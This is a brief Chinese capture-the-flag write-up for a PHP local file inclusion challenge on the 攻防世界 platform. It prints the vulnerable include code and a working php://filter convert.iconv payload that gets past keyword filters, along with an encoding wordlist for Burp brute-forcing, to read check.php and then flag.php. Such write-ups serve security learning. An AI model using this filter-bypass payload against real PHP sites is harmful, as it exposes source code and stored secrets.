攻防世界30-file_include-CTFWeb

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

image-20241020112539255

应该是做了过滤 对路径删删减减,发现分别对read ,base64-encode做了过滤

php://filter的各种过滤器_php过滤器列表-CSDN博客

看了这篇文章,filter还有其他的过滤方法,试试看

对string也做了过滤

一共有两种,一种是string过滤器,一种是convert

我们知道string用不了了,只能用convert了

试了一下,最终这种方式是有效的

convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

也就是

?filename=php://filter/convert.iconv.a.b/resource=check.php这种

burp抓包爆破一下

字典:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

image-20241020114457097

burp是集数炸弹,而不是单个payload

发现过滤了很多

访问flag.php找到flag

image-20241020114632154